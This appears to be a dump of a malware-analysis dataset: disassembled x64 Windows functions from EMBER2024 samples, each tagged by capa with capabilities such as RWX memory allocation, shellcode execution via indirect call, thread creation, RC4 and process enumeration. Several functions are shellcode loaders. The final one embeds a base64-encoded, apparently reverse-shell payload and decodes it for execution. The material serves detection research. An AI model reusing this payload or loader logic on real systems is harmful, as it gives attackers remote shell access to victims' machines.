joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
call fcn.1400015a0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4c3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
lea rax, section..data
mov edx, 0x4c3
mov r8, qword [rax]
mov qword [rcx], r8
mov r8d, edx
add r8, rcx
lea r9, [r8 + 8]
mov r8d, edx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rcx + 8]
and r8, 0xfffffffffffffff8
sub rcx, r8
sub rax, rcx
add edx, ecx
and edx, 0xfffffff8
shr edx, 3
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 8]
call rax
mov eax, 0
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001790
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400025e0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x140001800
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001930
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000184b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001830
mov rcx, rbx
call fcn.1400022c0
mov rdi, rax
test rax, rax
je 0x140001952
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002400
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001937
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018ce
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400018e0
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001790
nop dword [rax]
xor esi, esi
jmp 0x140001858
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001790
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001790
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001f64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f5b
test eax, eax
jne 0x140001f5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f40
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000233d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002334
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022e0
add rax, 0x28
cmp rax, r9
jne 0x140002320
xor eax, eax
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002368
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000235f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002428
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001485
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, rcx
mov ebx, edx
mov ecx, 0x40000
xor edx, edx
mov rbp, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, rax
test ebx, ebx
jle 0x1400014d1
movsxd r9, ebx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r8, rax
xor eax, eax
cmp ebx, eax
jle 0x1400014ed
mov rdx, rax
and edx, 7
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [r8 + rax], dl
inc rax
jmp 0x1400014d3
mov rcx, r8
mov r9, r8
lea r8, [0x140001450]
call fcn.140001453
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001840
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002680
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002680
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x1400018b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x1400019e0
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001985
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018e0
mov rcx, rbx
call fcn.140002320
mov rdi, rax
test rax, rax
je 0x140001a02
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002460
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000197e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001990
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000197e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001840
nop dword [rax]
xor esi, esi
jmp 0x140001908
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001840
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001840
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001fec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001fe3
test eax, eax
jne 0x140001fe3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fc8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002320
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004360]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002340
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002348
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002340
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000239d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002394
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002340
add rax, 0x28
cmp rax, r9
jne 0x140002380
xor eax, eax
ret

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004360]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002460
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004360]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000247f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002488
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180001920
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x18011fcf8]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_wcsstr]
test rax, rax
jne 0x1800019a8
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x180001995
mov rcx, rbx
call fcn.1800015b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0x20]
call fcn.1800020b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rbx
call fcn.180001010
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180112460
add rsp, 0x240
pop rbx
ret
Function at 0x180114fd0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x18011fcf8]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x18011500c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.180112d7c
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x1801150c8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x180115130
test ebx, ebx
jne 0x180115130
mov ecx, 2
call fcn.180112d7c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.180112460
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x140001a48
Capabilities:
Access pe header
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rcx, [0x140007670]
jmp fcn.14001abc7

Function at 0x140001fc8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140007670]
jmp loc.140031e3d

Function at 0x1400024cc
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x140007670]
jmp loc.14002802c

Function at 0x140002720
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x140007670]
jmp loc.140033f6f

Function at 0x140003a8c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
lea rcx, [0x140007670]
jmp fcn.14002f73c

Function at 0x140003ccc
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x140007670]
jmp loc.1400337df

Function at 0x1400052dc
Capabilities:
Access pe header
Check http status code
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x140007670]
jmp loc.14003e974

Function at 0x140005898
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x140007670]
jmp fcn.1400301da

Function at 0x140005a0c
Capabilities:
Get system information on windows
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rcx, [0x140007670]
jmp loc.140032edc

Function at 0x140006d34
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x140007670]
jmp loc.14001f516

Function at 0x14000b000
Capabilities:
Link function at runtime on windows
Link many functions at runtime
Parse pe header

Disassembly:
sub rsp, 0x1d8
lea rcx, [0x140010fa0]
jmp fcn.14007465d

Function at 0x14000bac4
Capabilities:
Check http status code
Create device object
Link function at runtime on windows
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1d8
lea rcx, [0x140010fa0]
jmp fcn.140058c27

Function at 0x14000c5ec
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rcx, [0x140010fa0]
jmp loc.140055a3f

Function at 0x14000ddd0
Capabilities:
Map section object

Disassembly:
sub rsp, 0x128
lea rcx, [0x140010fa0]
jmp loc.140042802
Function at 0x14000e4f8
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x30], 0xc0000001
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 6]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jbe 0x14000e9d8
mov rax, qword [rsp + 0x80]
add rax, 0x108
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x4c]
dec eax
mov eax, eax
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14000e9c9
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x14000e9c9
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x14000e5dd
mov dword [rsp + 0x70], 0
jmp 0x14000e5e5
mov dword [rsp + 0x70], 1
cmp dword [rsp + 0x70], 0
je 0x14000e9c9
lea rcx, [0x140010fa0]
jmp 0x140049e06
mov eax, dword [rsp + 0x4c]
dec eax
mov dword [rsp + 0x4c], eax
jmp 0x14000e55e
mov rax, qword [rsp + 0xb0]
cmp qword [rax], 0
je 0x14000ea06
mov rax, qword [rsp + 0xb8]
cmp qword [rax], 0
je 0x14000ea06
mov rax, qword [rsp + 0xc0]
cmp qword [rax], 0
je 0x14000ea06
xor eax, eax
jmp 0x14000ea0b
mov eax, 0xc0000001
add rsp, 0x98
ret

Function at 0x14000ea1c
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x30], 0xc0000001
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + 6]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jbe 0x14000ee2b
mov rax, qword [rsp + 0x70]
add rax, 0x108
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x48]
dec eax
mov eax, eax
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14000ee1c
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x14000ee1c
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x14000eaf5
mov dword [rsp + 0x60], 0
jmp 0x14000eafd
mov dword [rsp + 0x60], 1
cmp dword [rsp + 0x60], 0
je 0x14000ee1c
lea rcx, [0x140010fa0]
jmp 0x14004e891
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
jmp 0x14000ea79
mov rax, qword [rsp + 0xa0]
cmp qword [rax], 0
je 0x14000ee4b
mov rax, qword [rsp + 0xa8]
cmp qword [rax], 0
je 0x14000ee4b
xor eax, eax
jmp 0x14000ee50
mov eax, 0xc0000001
add rsp, 0x88
ret
Function at 0x1400110b9
Capabilities:
Decode data using base64 via winapi

Disassembly:
jmp 0x1400117e0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14001d2f8]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x140023035]
call fcn.140011384
mov eax, dword [rbp + 0x138]
mov dword [rbp + 4], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x130]
mov r8d, 1
mov edx, dword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14001188b
mov dword [rbp + 4], 0
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.140011316
mov eax, edi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140013120
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011276
Capabilities:
Create thread

Disassembly:
jmp 0x140011a50
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d2f8]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x140023035]
call fcn.140011384
mov dword [rbp + 0x64], 0
mov eax, dword [0x14001d26c]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
lea r8, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcwKgKCkFUSYnkTInxQbpMdyYH_9VMiepoAQEAAFlBuimAawD_1VBQTTHJTTHASP_ASInCSP_ASInBQbrqD9_g_9VIicdqEEFYTIniSIn5QbqZpXRh_9VIgcRAAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ_8BBUEn_yE2JwUyJwUG6ecw_hv_VSDHSSP_Kiw5BugiHHWD_1bvwtaJWQbqmlb2d_9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr_1Q
lea rdx, str.payload_addr
lea rcx, str.___20s:0x__016p_n
call fcn.14001119a
mov r8, qword [rbp + 8]
lea rdx, str.exec_mem_addr
lea rcx, str.___20s:0x__016p_n
call fcn.14001119a
lea rcx, str._nHit_me__n
call fcn.14001119a
call qword [sym.imp.ucrtbased.dll_getchar]
mov r9d, dword [0x14001d26c]
mov r8, qword [rbp + 8]
mov edx, dword [0x14001d26c]
lea rcx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcwKgKCkFUSYnkTInxQbpMdyYH_9VMiepoAQEAAFlBuimAawD_1VBQTTHJTTHASP_ASInCSP_ASInBQbrqD9_g_9VIicdqEEFYTIniSIn5QbqZpXRh_9VIgcRAAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ_8BBUEn_yE2JwUyJwUG6ecw_hv_VSDHSSP_Kiw5BugiHHWD_1bvwtaJWQbqmlb2d_9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr_1Q
call fcn.1400110b9
mov eax, dword [0x14001d26c]
